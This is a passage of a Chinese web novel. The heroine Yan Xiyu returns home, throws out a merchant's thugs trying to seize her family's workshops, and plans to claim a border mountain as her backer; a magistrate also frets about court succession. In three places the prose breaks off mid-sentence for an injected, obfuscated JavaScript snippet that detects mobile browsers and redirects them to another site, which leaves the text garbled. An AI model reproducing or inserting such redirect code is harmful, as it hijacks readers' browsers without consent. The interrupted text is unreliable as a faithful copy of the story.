九皇子定定地看着鲁正和不出声,林内侍在他背后低声提醒:“殿下,鲁教头请您进少将军的营帐。” 九皇子这才回过神来,很随意地扫了营帐中的“羿衍椋”一眼,然后又看向鲁正和:“我……本皇子就不打扰少将军歇息了,鲁教头白日若得了闲,可到本皇子帐中一聚。” 鲁正和爽朗地一笑:“小的自当听殿下的。” 九皇子这才对他点点头,带着高将军等人离开。 鲁正和和丁和他们躬身恭送九皇子,等人走了之后,他们对视了一眼,眼中彼此都有着笑意。 “没想到九皇子竟然还记得你,”丁和叹道,“怪不得少将军会忽然把你喊来。” 鲁正和笑笑:“少年郎心中都曾有要当大侠的念头,九皇子在未曾知晓权力为何物时,也曾经想要当一名行走江湖的刀客。” “生在皇家就不可能会有这种想法,”丁和摇摇头,“他那时是被吓到了,过了那些日子,他就不会再有类似的想法了。” “所以少将军才把我叫来,”鲁正和伸手摸了摸脸上的胡须,“少将军让我务必要拖住他。” 至少为什么要拖住九皇子,他不说,丁和也知道。 鲁正和此次过来的任务,就是拖住九皇子,不让他和羿衍椋的替身接触。 “你能做到?”丁和问他。 鲁正和又摸摸脸上的胡须:“这有何难。” “但愿你没说大话,”丁和调侃了一句,然后四周看看,见没人留意这边,就悄悄走到马车旁轻轻敲了敲。 马车里面没动静,丁和守了一会,又敲了敲,马车里面还是没动静。 丁和这才伸手去掀车帘,再一看,马车里果然空无 而此时的燕惜妤早就带着罗采春跑了。 她带着罗采春溜的无声无息,只不过在黑夜中找马浪费了点时间。 “这马黑漆漆的,我喊它,它也不应一声,”燕惜妤一手拉着罗采春,一手去解缰绳。 罗采春这时还在后怕,听见她这么说,不由地笑出声:“马儿哪能听懂你的话,它能不踢你都算好的了。” “那它还挺乖,”燕惜妤伸手去扶罗采春上马,“三姐,我们借着夜光赶会路,快天亮时再歇会儿。” “嗯,”罗采春点头,“我们早些回去,他们人太多了,万一追过来可就惨了。” “他们不会追来的,”燕惜妤也上了马,“羿家的那些影卫还有丁和不可能让九皇子发现真相的。” “为什么?”罗采春有点不明白,但她不想再问了,只催促道,“不理这些事了,我们快些回去吧。” “三姐坐稳了!”燕惜妤返手轻轻抽了一下马臀,“我们走!” 她们这一走,走了十余日,留下仲茂他们左等右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085541|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等都没等到她们回来,就在他们担心燕惜妤和罗采春在外面是不是遇见什么事时,他们自己却先出事了。 这日,几个小孩躲在门后害怕地从门缝里往外看。 桑大娘坐在门前的门槛上,在她面前站道佟瑰方和佟槿方俩姐弟。 仲茂他们五兄弟手握砍刀守在院子中,而梁屯长和杨元正还有焦家的人和他们站在一起,正在和外面的人群对峙着。 他们家院子前的巷边堵满了人,而在人群外,远远地也站着好些人,其中就有孙珍娘和她的徒弟。 孙珍娘脸色严肃地盯着两边吵架的人,她徒弟在旁边问她:“师父,这些人吵了好些天了,还要吵多久?” “贪得无厌之人,哪会如此轻易就罢休,”孙珍娘眼中有着厌恶,“他们也就是看着燕惜妤不在,若燕惜妤在,他们哪敢上门挑衅。” “那她什么时候回……”她徒弟话还没说完,就听那边忽然暴出一声冷喝。 “你们这是打算明抢?!老子和你们拼了!!”仲茂说着举起砍刀就要冲出去。 梁屯长和杨元正他们连忙拦下他:“冷静些!” “老子冷静不了!!”仲茂怒火冲天地吼,“我们家姑娘才刚出去几日,这些人就敢打她产业的主意,你们叫我怎么冷静?!!” “欸哟我说仲茂,你这话就说错了,”对面人群中有个肥头大耳的中年男人说,“咱哥几个不是说了帮你们暂时管着你们家那布坊和陶坊,你们这小打小闹的哪能做成事,可我主家那就不同,我主家别说在乌州,就是在大承,那也是有头有脸的人物,他老人家愿意帮你们,那是你们走大运了,怎的还能如此不识抬举呢。” “我呸!”仲茂恶狠狠地说,“说得好听,还不是想抢走我们姑娘的产业,就凭你们也敢来抢!” “就是!”仲二在旁边帮腔,“你打听过我们姑娘是谁吗就敢来抢她的产业!我看你是在找死!” “嘻!我还真是白和你们这般孙子讲了这么多,真是不识抬举!”那肥头大耳的男人冷哼两声,对他身边那些手持利器的家丁喊道,“竟然你们如何不识抬举,那就打到你们懂事为止!” “你们敢!”仲茂挥着砍刀就要冲上去,又被梁屯长死死按住了。 “程管家,你带着人在我们屯如此闹事,是真不把边地的羿家军放在眼里啊,”梁屯长压着怒火道,“你可别忘了边地归羿家管!” “羿家!”那程管家讥笑连连,“如今谁人不知那羿衍椋被九皇子给抓走了,当日他被游街示众我可是亲眼看见的,再说了,就算他羿衍椋不被抓走,难不成我主家还会怕他!” “你们!”梁屯长这下也被气的想冲上去揍人。 “我主家能看中你那布坊是你们的福气,”程管家还抬着下巴指向杨元正几人,“还有你们,也要跟着我走。” “你们这不只是想抢产业,还打算抢人?!”仲五震惊了,“杨大哥可是咱屯里的人,你们也敢抢?!” “小小一个屯子,别说带走一人,就算带走所有人也没人敢说话,”程管事用看蝼蚁的眼神看着眼前的人,“你们住在这屯子里,大多都是有罪的人,我主家不过是来带走几个奴才,谁敢有话说!” “是吗?”在他身后,忽然响起了一个女子的声音,“你说什么,我没听清,你再说一遍。” 109. 第109章 燕惜妤和罗采春一连几夫都是日夜兼程地骑马往回赶。 九皇子虽然是车马出行,但仍然很是奢靡,他的车驾在路上行得很慢,一来是羿衍椋已经抓到了,他不必像来时那般赶。二来是特地让所经过的百姓看看被关在牢车里的羿衍椋。 后来燕惜妤一来就把羿衍椋从牢车里救了出来,又还揍了他从皇都带来的将士。按理来说,九皇子该赶着回皇都了,但燕惜妤为了给羿衍椋争取时间,于是故意在他的车马队伍中闹事,所以九皇子车马这几日在路上走得很慢。 而燕惜妤带着罗采春却是不停歇地往回赶,别说马累,就是她们一路在马背上颠簸着,也感觉到很累。 尤其是罗采春,在下马时,她摔点就摔倒在地上。 “三姐!”燕惜妤连忙过来扶她,“你慢些,这都已经到了屯子口了,到家了。” “我腰疼腿脚酸痛,”罗采春一脸的疲累,苦着脸说,“手臂和手腕,还有脚踝全都痛。” 燕惜妤也跟着点头:“我脚掌也很难受。” 罗采春和她对视一眼,不由地俩人都笑了。 “为了快些回来,真是遭老鼻子罪了,”罗采春小幅度地挪动着双腿往前走,“好在是回来了,咦?屯子口怎的没人?” 燕惜妤也看了看屯子口的那棵大树,平日屯子口总是会有妇人聚在一起,边做些针线活边聊些家常。也有那些上了年纪的老人家,带着家中小辈在这里看羿家营地那边时进时出的马匹。 “不对劲,”燕惜妤皱了皱眉,脚尖一点,人就已经上了树,她站在树上向屯里张望,看见有不少人围着某间屋子,再仔细一看,是她家。 燕惜妤想了想,跃下树后,对罗采春说:“三姐,你骑上马走着回去,我先回去看看,要是你发现不对劲,就掉转马头向羿家营地跑去。” “阿妹,是出什么事了吗?”罗采春紧张地攥紧手中的缰绳,“那家里人呢?” “应该不是什么大事,”燕惜妤安抚她,“我先回去看看,你骑着马走过来,不要在屯子里跑马,免得伤到人。” 罗采春点点头说:“好,那你小心些。” “我会的,”燕惜妤又指了指马鞍挂着的那个包裹,“里面是我们换下的衣服,等回到家,三姐记得第一时间要解下来拿回家里藏好,尤其是那个面具,不能让别人发现。” 燕惜妤说完,瞬间就消失在原地。 下一霎,她的人就已经站在了围观人群的最外面。 她一眼就看见了孙珍娘师徒,在她们旁边还站着好几个人,其中有位妇人也觉得眼熟,应该都是住在旁边屯子的邻里。 燕惜妤飞快扫了一眼四周的情况,这些人脸上并没有害怕,倒是有着愤怒和不安,还有些人则是一脸的看热闹的嘴脸。 燕惜妤抬脚慢慢往里走,围观的人也没多留意她的出现,大外都在竖着耳朵听里面那些人的争吵。 燕惜妤也在边走边听着仲茂他们的骂人声,在那程管事说住在屯子里大多都是有罪的犯人时,燕惜妤挑了挑眉。 “是吗?”燕惜妤走到这群堵在她家院子门前的人背后笑着说,“你说什么,我没听清,你再说一遍。” 她这话一出口,无论是愤怒的仲茂他们,还是围观看热闹的邻里,甚至是程管事等人,俱是一愣。 大家看着燕惜妤,怔忡了一下,最先反应过来的人是仲茂。 只见他大力挣开挡着他的梁屯长和杨元正等人,举起手中的砍刀指着程管事对着燕惜妤就是一顿嚎:“姑娘你可算是回来了!这些人看你不在家就上门欺负我们!他们不只要抢你的产业!还要抢走你的人!姑娘你快打死他们!!” 正在围观的邻里一听仲茂让燕惜妤打人,唰一下全都非常有默契地齐齐后退了好几步。 燕姑娘要打人了,他们得把场地空出来,也还要离远些,免得被误伤! 程管事这时看着燕惜妤,眼中露出几分淫邪:“你就是他们口中的燕姑娘,倒是生得有几分姿色,你若是能乖顺地从此跟了我,我倒还是能给你在布坊里留个差事。” 他带来的打手也跟着□□起来:“劝你还是乖乖听程管事的话,否则别怪咱爷几个对你动粗。” 他们这话瞬间又把仲茂他们给惹怒了:“闭上你的臭嘴!再敢胡说八道,看我家姑娘不把你大卸八块!” 仲二也赤红着眼喊:“杀了你们!” 燕惜妤倒是不生气,她向前踏出一步,笑着说:“我这人不习惯杀人,但伤人却是很顺手。” “哈哈哈,”肥头大耳的程管事很是不屑地讥笑地张嘴:“就凭你这软溜溜的……” 只不过他的话才刚说了一半,燕惜妤的人就已经倏地站在了他的面前。 燕惜妤笑笑说:“我的家人说让你闭嘴。” 程管事脸上的表情定格着讥笑,人却猛地原地飞了出去,“嘭”的一声,砸在了巷子对面的那面土墙上,硬生生把土墙给砸出了好几道裂痕。 程管事面朝下自墙上倒下,竟然连一点声音也没能发出来。 刚才还跟着程管事起哄的打手们瞬间变得鸦雀无声,就连还围着想看热闹的邻里们也都下意识地又后退了好几步。 “你!你竟敢伤我们们程管事?!!”打手颤抖着举起手中的短刀指着燕惜妤,“你你就不怕惹怒了……” “你们找上门来欺负人时,难道就没想过会被打出去吗?”燕惜妤倏一下又站在了这个人的面前,对方的刀尖正正对着她的胸膛,她却看都不看一眼,“我现在就告诉你,你敢上门欺负我的家人,我就敢把你们全都打趴下。” 话音刚落,拿刀指着她的人就被她单手甩了出去,“哐啷”一声,先是短刀掉在地上,随后又是“嘭”的一声,人也重重地砸在地上。 紧接着,就是一个又一个找上门的打手被燕惜妤接二连三地甩了出去,人体重重砸地地面上的声音就像鼓声似的,听得围观的人头皮发麻。 但他们却不敢动,生怕动一下,会被那甩人甩起性的燕惜妤也给砸地上。 十几个打手,全被燕惜妤甩飞了出去。屯里的巷道不算宽,好几个打手全都叠在了一下,最底下那个被砸的已经口吐白沫了。 “……燕姑娘,请手下留情,”这时梁屯长才像是被吓傻了刚回过神来,“这些是程家派来的人,咱可万万不能得罪了。” 佟瑰方和佟槿方都瞥向他,佟槿方冷声说:“你不早点说,人一个不剩全都打了,你这才来马后炮。” 梁屯长讪笑道:“燕姑娘身手太快了,我嘴都还没来得及张开,人就全部倒下了,是该怪我。” 燕惜妤站在院子门前,巷子里倒了一地的强壮的打手,有些昏着人事不省,有些倒是没昏,正在哀嚎着挣扎地想扶着墙爬起来。 “这些是什么人啊?”燕惜妤打完了人,才想起来问这些人的来历,“无缘无故的怎么就想不开上门找揍呢。” 她边说,边轻轻地拍了拍双手,看见罗采春骑着马慢慢走过来,她连忙走过去:“三姐慢些,这一地的垃圾还没扫。” 她一动,围观的邻里唰一下全都转身跑了,有好几个还互相撞了好几下。 一眨眼,人差不多跑没了,只剩下站在最外边的那几个人。 燕惜妤向着罗采春走过去,经过孙珍娘俩师徒时,对她们点点头。 而在经过她们俩身边站着的那个妇人时,燕惜妤的脚步顿了一下。 这人有点眼熟,但不是近期见过的。不是屯子里的人,那是在哪里见过? 燕惜妤和对方四目相对,对方的眼神友好和善,燕惜妤更加确定这人不是住在屯子里的人。 “哎!”罗采春刚才看到燕惜妤又动手,心里还不安着,这时下马差点儿摔倒。 燕惜妤连忙过来扶她:“三姐慢些。” 等罗采春站好之后,燕惜妤再回头看那个妇人,对方已经和孙珍娘师徒一起离开了。 那妇人难道和孙珍娘是旧识? 哪个地方的旧识?该不会是在教坊司里认识的吧? 燕惜妤心头突地一跳。 “阿妹?”罗采春看见她在皱眉头,有些担心地问,“怎么了?” 燕惜妤回过神来:“没事。” 罗采春还是有点担心:“真没事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089408|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她看看罗采春,她和罗采春都是在教坊司里逃出来的人,若那妇人曾经在教坊司里见过她和罗采春,那…… 燕惜妤垂下眼睫,笑了笑后,才又抬起眼眸:“没事。” 这时,仲茂他们几个全都嚎着冲了过来:“姑娘,罗姑娘,你们可算是回来了啊!” “呜呜呜,你们要是再不回来,就真被他们说中了!”仲二嗷嗷哭着,“屯子的人说你们俩姐妹一起离开,肯定是不要我们了,呜呜呜。” “先等等再哭,”燕惜妤对他抬了抬手,“我们先回去。” “对对,先回家,”仲茂连忙过来帮忙牵马。 罗采春走在马的旁边,紧紧地贴着挂在马鞍上的包裹,生怕被人把包裹抢走了。 几人绕过地上横七竖八躺着的人,进了院子之后,梁屯长和杨元正他们也总算都松了一口气。 梁屯长甚至还向着老天拜了几拜:“总算是回来了!” 燕惜妤问他:“梁屯长,外面这些人怎么办?” 梁屯长怔了一下,看看倒在地上的人,又看看燕惜妤,最后咬牙道:“我带些人把他们都送去羿家营地那边。” “能成吗?”燕惜妤看着他,“会不会连累屯长你?” “没事,”既然都已经和燕惜妤坐在同一条船上了,梁屯长在这时也确实没办法置身事外,“我来想办法。” “多谢屯长,”燕惜妤对他道谢,又去看杨元正和焦老爷子等人,“多谢大家帮我护着家人,谢谢。” “燕姑娘客气了,”焦老爷子摆摆手,“既然没事了,那我们也该走了,陶窑停了几日活计,我得过去看看。” 杨元正说:“燕姑娘不必如此,我们也不想布坊被抢走。” 他们之所以选择和仲茂他们站在一起,最大的原因确实是为了自身利益,但同样的,他们却也同样承担了相对应的危险。 若是燕惜妤今日没能赶回来,说不定被揍得鼻青脸肿的就是他们了。 等杨元正他们走了,燕惜妤看着梁屯长带人把外面巷子躺着的人抬上板车离开后,她才靠着炕头坐下。 小满儿几个全都围着她坐,一个个脸上既害怕又兴奋,很显然是刚才看见燕惜妤动手打人了。 桑大娘把几个小娃赶回里屋,他们这才围坐在一起把事情说了出来。 原来燕惜妤自从在荒漠那边带回牛和羊之后,就被某些人盯上了。 再后来她又是建陶窑开布坊,后面又要开糖坊,就更令某些人起了贪念。 不过那些人估计也是打听过燕惜妤的事,知道她身手好,尤其还能护着屯里人的上山摘果挖草药,也就不敢轻易动手。 但自从燕惜妤带着罗采春离开后,一日两日,直到离开了十数日都没回来,那些人顿时就觉得时候到了。 他们来了好几次,有次说漏嘴,说燕惜妤只带走了她三姐,自然就是把留下的这些人给抛弃了。 要是罗采春没跟着离开,他们估计还没能有胆敢找上门直接明抢,但燕惜妤带着三姐一起走,就给了那些人错误的信息,以为燕惜妤把其余的人都给抛弃了。 所以他们才打算带着人上门明抢,大概是想学那衙门对犯人来个屈打成招,他们想着把人和陶坊布坊都抢走,敢反抗就打,打到服为止。 再拿些钱去衙门打点,只要屯里的这些人不去衙门告状,衙差也就不会找上门来。 仲茂越说越气愤,还顺带把梁屯长也给一骂了:“还以为梁屯长身后能有靠山,结果那些歹人打上门,他竟然屁都不敢放一个,真没用!” 燕惜妤笑笑,摇头说:“他不是身后没靠山,只是觉得为了陶坊和布坊,还不值得动用他身后的靠山。” “对,他那人心计可不浅,”桑大娘也说,“陶坊和布坊才刚开始,都还没能赚到银钱,他自然不会舍得为此去找他的靠山。” “……真是狡诈!”仲茂骂了一句,然后有些不甘心地看着燕惜妤,“姑娘要是也有靠山就好了。” 这样就不会有人敢欺负他们,也不用遇事都是她亲自动手打人。 燕惜妤却是挑眉一笑:“谁说我没有靠山。” 110. 第110章 燕惜妤这话一说出来,屋里的人全都愣住了。 “……你有靠山?”佟槿方一脸的难以置信,“你什么时候有靠山的?” 他边说边看向罗采春和仲茂,要知道他们这些人或迟或早地跟着燕惜妤一起来边地,这一路上的种种经历,若燕惜妤真有靠山,他们不会不知道。 他以为是他忽略了,但看见罗采春和仲茂也一脸的茫然,就知道大家都和他一样,根本不知道燕惜妤有什么靠山。 “你真有靠山?”他又看向燕惜妤,“是哪里的大官?” 若只是略富有的商户,而不是当官的,那这靠山也没甚用。 都说民不同官斗,富商除非是皇商,否则都得给当官的磕头。 “还没有到手,”谁知道燕惜妤却是神秘一笑,“不过很快就能到手了。” “到手?”佟槿方这下更糊涂了,“你说的到底是不是靠山啊?” “靠山嘛,”燕惜妤笑着说,“只要是山就行。” 坐在她旁边的桑大娘也不知道想到了什么,看着燕惜妤的眼神有些炽热,“姑娘的意思难不成是……” “桑大娘你之前说过大山无主,”燕惜妤侧头看她,“这话我一直记着。” “好!好!”桑大娘领悟了燕惜妤话中的含义,有些激动地说,“老身一直在等着这一日的到来,可算是让我等到了!” 她们俩像是在说着哑谜,旁边的人都听得云里雾里的,唯有佟瑰方猜到了大概。 她想到了之前摘药草的那座名为临阜山的大山。 临阜山作为大承和荒漠交界,既属于大承,也属于荒漠那边的夷狄人所有,但大承不敢轻易闯入,夷狄人自从停战之后,更是多年不曾踏足。 夷狄蛮族善骑术,他们适合在空旷的地方上作战,一旦进入了大山,都不用敌人出手,他们自己就会被困在山中。 临阜山离边地很近,山脚下驻扎着兵营,但士兵除了上山巡逻之外,平日很少进山,只有住在边地的百姓,会偶尔在山脚再往上一点的地方挖草药和摘野果。 临阜山是大承最大的一座山,要说它是靠山,确实很贴切。 但这座靠山永远只安静地屹立着,只要不冒险进山,根本没人会怕它,所以临阜山哪怕再大再高,也没办法震慑那些牛鬼蛇神。 佟瑰方不知道燕惜妤是要如何才能把临阜山当作靠山。 燕惜妤也没再多说这个话题,她只是简单说了两句,然后就又问起了陶坊和布坊的事。 焦老爷子一家烧出来的陶器燕惜妤是看过的,她还把那些陶器带去了达格其和苗月。 因为知道陶坊没可能会在短短十几天就会新烧出薄陶器,所以燕惜妤知道让别人最掂记的,唯有布坊了。 果然就见桑大娘在炕柜里小心地捧出了一块折叠着才两只手掌那么大的羊毛纺布出来。 “咦?羊毛已经织出布来了?”燕惜妤惊讶地双手接过来,先是仔细看过织法,又举起来对着光线反复看过,最后欣喜道,“就是这种羊毛织过来的料子,就是这种没错。” 桑大娘笑着看向仲三:“这事你就要问仲三了,你之前让他代替罗姑娘留在布坊帮忙,这羊毛纺布就是他和杨家两位女子一起织出来的。” “仲三,你这可真是一鸣惊人啊,”燕惜妤看着仲三,“你快给我们说说,这羊毛纺布你是怎么织出来的。” 仲三被大家看着,既开心又有些羞臊,连连摆手道:“我没这本事,是杨元正的俩位姐姐用格杼织出来的,我只是帮着在旁边理顺了打结的羊毛线。” “杨元正的姐姐?”燕惜妤想了想,“我记得他的姐姐没有被流放过来吧。” 桑大娘叹息道:“唉,是没有,但他两个姐姐的夫家都怕被杨元正连累,就把杨家的姑娘给休了。” “什么?”燕惜妤一下子就坐直身体,“凭什么休妻啊?不是说家族流放不会波及到已经嫁人的女儿吗?” “律法虽然是这么说,但……”桑大娘摇摇头,却又有些欣慰地说,“好在杨家的俩个女儿果敢决断,硬是威胁着夫家把休妻改成了和离,还带回了一些嫁妆,就是你和罗姑娘出去的那日,她们俩人也千里迢迢跟着商队来到了边地。” 仲三接着说:“她们俩人到了之后,看见杨元正带回去的一些羊毛,就多问了几句,然后羊毛纺布就给织出来了。” 燕惜妤有点震惊:“咱布坊这是来了两位织布高手啊!” “……可这样一来,杨家这俩位女儿可该如何是好?”罗采春忧虑道,“和离的女子会很艰难的。” 一直没怎么说话的佟瑰方忽然开口:“再难也好过在夫家被刁难,若娘家被贬流放,嫁出去的女儿在夫家那真的是举步维艰,还不如和离了好。” 她之前被父亲继母送去给知县的祖父当小妾,她知道在那深宅大院里艰难度日的痛苦。 佟槿方也跟着点头。 他阿姐当时若不是被送去当小妾,而是嫁与普通的和善人家为妻,他也不至于为了能见到阿姐一面,而当了十年的乞丐。 妻子的娘家才刚被贬不久,夫家就迫不及待地要休妻,这样的人家哪能是什么好人,更不会有什么真心。 燕惜妤不知道杨家那俩位女儿的想法,但若她们愿意,她很希望她们能留在布坊。 要知道布坊可是能助她发家致富的产业。 “……你们怎么忽然说这些了?”仲五在旁边有些懵圈地问,“我们不是在说那程管事吗?燕姑娘打了他和他带来的人,他们会不会来报仇?” 大家齐刷刷地看向燕惜妤。 “你们看我也没用,”燕惜妤摊手,“这就要看他背后的靠山能不能咽下这口气了。” 仲五说:“他们都敢光明正大上门抢你的产业了,一看就是恶霸,肯定会找上门的。” “不一定,”燕惜妤笑笑,“我觉得不会再找上门,除非衙门里的大老爷是他们的靠山。” “万一衙门大老爷真是他们的靠山呢?”仲二连忙问,“那衙差是不是就会来抓我们!” “那程家若有权,他们就不会等到我不在才找上门,”燕惜妤看着他说,“我想程家是有钱,那他要想衙门帮他报仇,他程家就要做好被衙门大老爷漫天要价的准备,商人大多都是越富有越抠门,程家未会舍得给衙门送一半身家。” “那他们难道就能忍下这一口气?”仲五不相信程家能忍。 “暂时会忍,”燕惜妤点点头,“然后就会在暗中盯着我们,伺机找准机会再报仇。” “嘶!”佟槿方抖了一下,“背后藏有毒蛇,夜不能寐啊!” “可拉倒吧你!”仲五撞了他肩膀一下,“夜里睡得最死的就是你这小子。” “好了,这事就先这样,”桑大娘开始赶人,“你们都回去,让俩位姑娘先歇会。” 燕惜妤赶了这么久的路,确实也累了:“有热水吗?我想泡澡。” “有,”佟瑰方说,“我再去给你和罗姑娘拿个草药包,你们泡会药浴会好些。” 燕惜妤连忙说:“谢谢阿姐。” 刚迈过门槛的佟槿方听见燕惜妤喊佟瑰方阿姐,他回头看了看燕惜妤,和佟瑰方相视一笑。 他们总觉得燕惜妤愿意喊阿姐和阿弟,那就代表着对他们还是亲近的。 几个小孩被桑大娘从里屋拎到了院子里玩耍,燕惜先在里屋从浴桶泡的澡,接着才到罗采春。 等罗采春泡好澡洗了头出来之后,燕惜妤已经在堂屋的炕上睡着了。 燕惜妤也洗了头发,不过还没干。佟瑰方在旁边坐着,拿着干净的布巾正温柔地为燕惜妤擦头发。 而燕惜妤此刻正睡得香,别说帮她擦头发,就是把她头发剃了,她也完全不知道。 罗采春笑着摇摇头,搬了张凳子坐在门边,隔着门槛边看院子的几个小孩玩耍,边慢慢地绞干头发。 燕惜妤这一觉可谓是睡得不省人事,罗采春几次都害怕地要伸手去探她的鼻息。 好在有佟瑰方在旁边看着,她一天几次为燕惜妤诊脉,确定她身体没病,这才悄悄地问罗采春:“罗姑娘,你们这次出去,燕姑娘是不是动手了?” 罗采春点头:“是,我阿妹真没事吗?” “她脉象平稳,没事,”佟瑰方又问,“那她是不是不仅动了一次手?” “对,”罗采春连连点头,“我们这次出去……我阿妹动了很多次手,对方人很多,我阿妹夜里就没睡踏实过。” 她们睡在马车里,外面一有风吹草动,燕惜妤立即就会醒,罗采春怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092720|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们自从出门去救阿七之后,燕惜妤根本就没合过眼。 “是了,”佟瑰方也不问她们出去做了什么,只是点点头,“燕姑娘这是损耗了元气,大动干戈必伤身,让她好好睡,不要吵她,待她养好了精气神,醒来就会没事了。” 一连两日,仲茂他们都没进过堂屋的门,桑大娘不仅把门掩上,还把炕帘也给拉上了,就连几个小孩出入都掂着手脚。 所以燕惜妤一觉醒来,还以为天没亮。 咦?怎么把帘子拉上了? 她迷迷瞪瞪地伸手去拉帘子,结果才拉开一点,就和站在帘子外的小满儿对上了视线。 “小满……”燕惜妤才刚一张嘴,小满儿已经呼啦一下推开了掩着的木门,刺眼的光线差点儿闪花燕惜妤的双眼。 “姐姐醒了姐姐醒了!”小满儿连跳带蹦地往外跑。 燕惜妤半眯着眼睛看她:“小心门槛。” 很快桑大娘就带着罗采春和佟瑰方走了进来,仲茂和佟槿方他们守在门外没进来。 “阿妹,你可算是醒了!”罗采春过来坐在燕惜妤身边,才刚张嘴,眼眶就红了,“你可吓死我了!” 罗采春从教坊司逃跑之后,最怕衙差的人来抓她,但自从认识了燕惜妤,她最害怕的,却是燕惜妤会又忽然就断了气。 “三姐不怕,我没事,”燕惜妤伸手搂住她,“我好着呢,不怕啊。” “醒来就好,可有哪里不适?”桑大娘松了口气,给佟瑰方让了一步,“佟姑娘你给她诊平安脉。” “燕姑娘,把手伸出来,”佟瑰方搬来旁边的炕桌,“你连睡了两日,可有哪里不适?” “啊?”燕惜妤把手放在炕桌上,也有些吃惊,“我一睡就睡了两日?” “嗯,”佟瑰方点点头,然后仔细给她诊脉,最后收手时也松了口气,“并无大碍。” “阿妹,你自己感觉怎么样?”罗采春紧张地看着燕惜妤,“脑子是清醒的吗?” 燕惜妤笑了:“我没事,就是肚子饿。” “还晓得饿,”桑大娘说,“想来是没事了,你先洗漱,我给你熟饭菜。” 这时正午刚过,大家都在家歇着,燕惜妤这边想才刚吃饱饭,梁屯长和杨元正已经带着人过来了。 梁屯长要让人种甜高粱,就必须要自己给出种子,否则人家又怎舍得自个儿拿出种子,种子也是粮食,留着能吃,卖了能换钱。 而杨元正这边,布坊里原有的那些羊毛已经全用上了,他的俩位姐姐带着他家中的妇人用机杼织布,屯里的其他妇人侧是负责捻子和梳理。 杨元正不仅要靠布坊养家糊口,更想靠着这羊毛纺成的布料重回皇都,所以他日夜都守着布坊,防止布坊被人暗中使坏。 也正是因为他对布坊足够上心,布坊才能织出羊毛布匹。 看着他抱来的这匹羊毛料子,燕惜妤这个甩手掌柜都有点儿不好意思了。 不过杨元正可一点也没和她客气,一开口就是问她要羊毛。 这时刚好小满儿牵着那只小羊恙走进院子里,杨元正盯着小羊羔说:“这羊羔身上的毛也能用。” “……杨大叔,咱真不至于,”燕惜妤笑着说,“我过两日会再去找夷狄人,到时候你们拉着板车去边卡那边等着,我会把羊毛和羊都带回来。” “只带羊?牛不带吗?”梁屯长连忙问,“边地那么多的荒田,有了牛就能开荒,等卖了羊毛布料就有钱买种子,然后我们就能种甜高粱,我连在哪建糖坊都已经想好了。” 梁屯长对糖坊比陶坊和布坊更上心。 陶坊有焦老爷子和仲茂,布坊有杨元正和仲二还有罗采春,而糖坊肯定是他负责,虽然仲三到时也会一起,但仲三没他有人脉,他到时候才是糖坊的大管事。 想想那被燕惜妤打出去的程管事,也只是一个富商手下的管事,就敢在天光白日带着打手进屯里硬抢别人的产业,他也想当回那种嚣张跋扈的管事。 反正要是出了事有燕姑娘在前头挡着,谁又能奈何得了她燕惜妤呢! 这时听燕惜妤说还要过两日才过卡,梁屯长下意识问:“有什么事比把羊毛和耕牛带回来更重要?” 燕惜妤侧头看向了临阜山的方向:“我要先去给自己找座大靠山!” 111. 第111章 羿家少将军羿衍椋被九皇子抓走并关在牢车里游街示众一事,近些日子在乌州两县那可真是闹得沸沸扬扬。 好在羿衍椋只在牢车中被关了一日,虽然各种各样的传闻都有,总算未造成太大的影响。 若羿衍椋被关在牢车里一路押回皇都,那不仅羿家,包括羿家军在内,都将成为大承的笑话。 这几日,其它州县的衙门都已经陆续派人到乌州两县询问,尤其是泰县衙门,因为边地归泰县管,所以这几日泰县的知县刘大人那真的是觉得头疼。 “我老早就说了,把边地给冯索那老匹夫的化县管理,你们偏不同意,”刘运刘知县在他书房中背着双手在来回踱步,“这下好了吧,全大承都在笑你们老爷我!” “老爷,您多虑了,”刘府管家劝说,“要笑也该笑他羿家,哪能笑到老爷您的头上。” 旁边站着的师爷摸了摸自己的胡须:“老百姓不知情,但官员中应该是知道的,或许会在心中偷偷嘲笑大人您。” 刘知县和管家一起盯着他。 师爷向来有话直说:“在些事之前,有哪位地方官不羡慕咱大人您的,羿家军就在您管辖的地方上,羿家几位将军平日都是直接面圣的,也就只有大人您才能让他们有事也会同您知会一声,之前他们有多羡慕您,现在就有多嘲笑您。” 他说得也有道理,刘知县想到落井下石,也就叹着气地坐在高背大椅上,“唉,这几日是个人都来打听羿少将军的事,他们这是想着早早打算了。” 羿家支持太子这是肯定的,可若九皇子这次真能打压羿衍椋成功,那就意味着是陛下的意思,否则谁又能动得了羿少将军。 而如果陛下任由着九皇子打压羿衍椋乃至整个羿家,那就代表着陛下有可能在考虑易储。 一旦太子被废,储君极有可能会在九皇子或十皇子俩人之间选择。 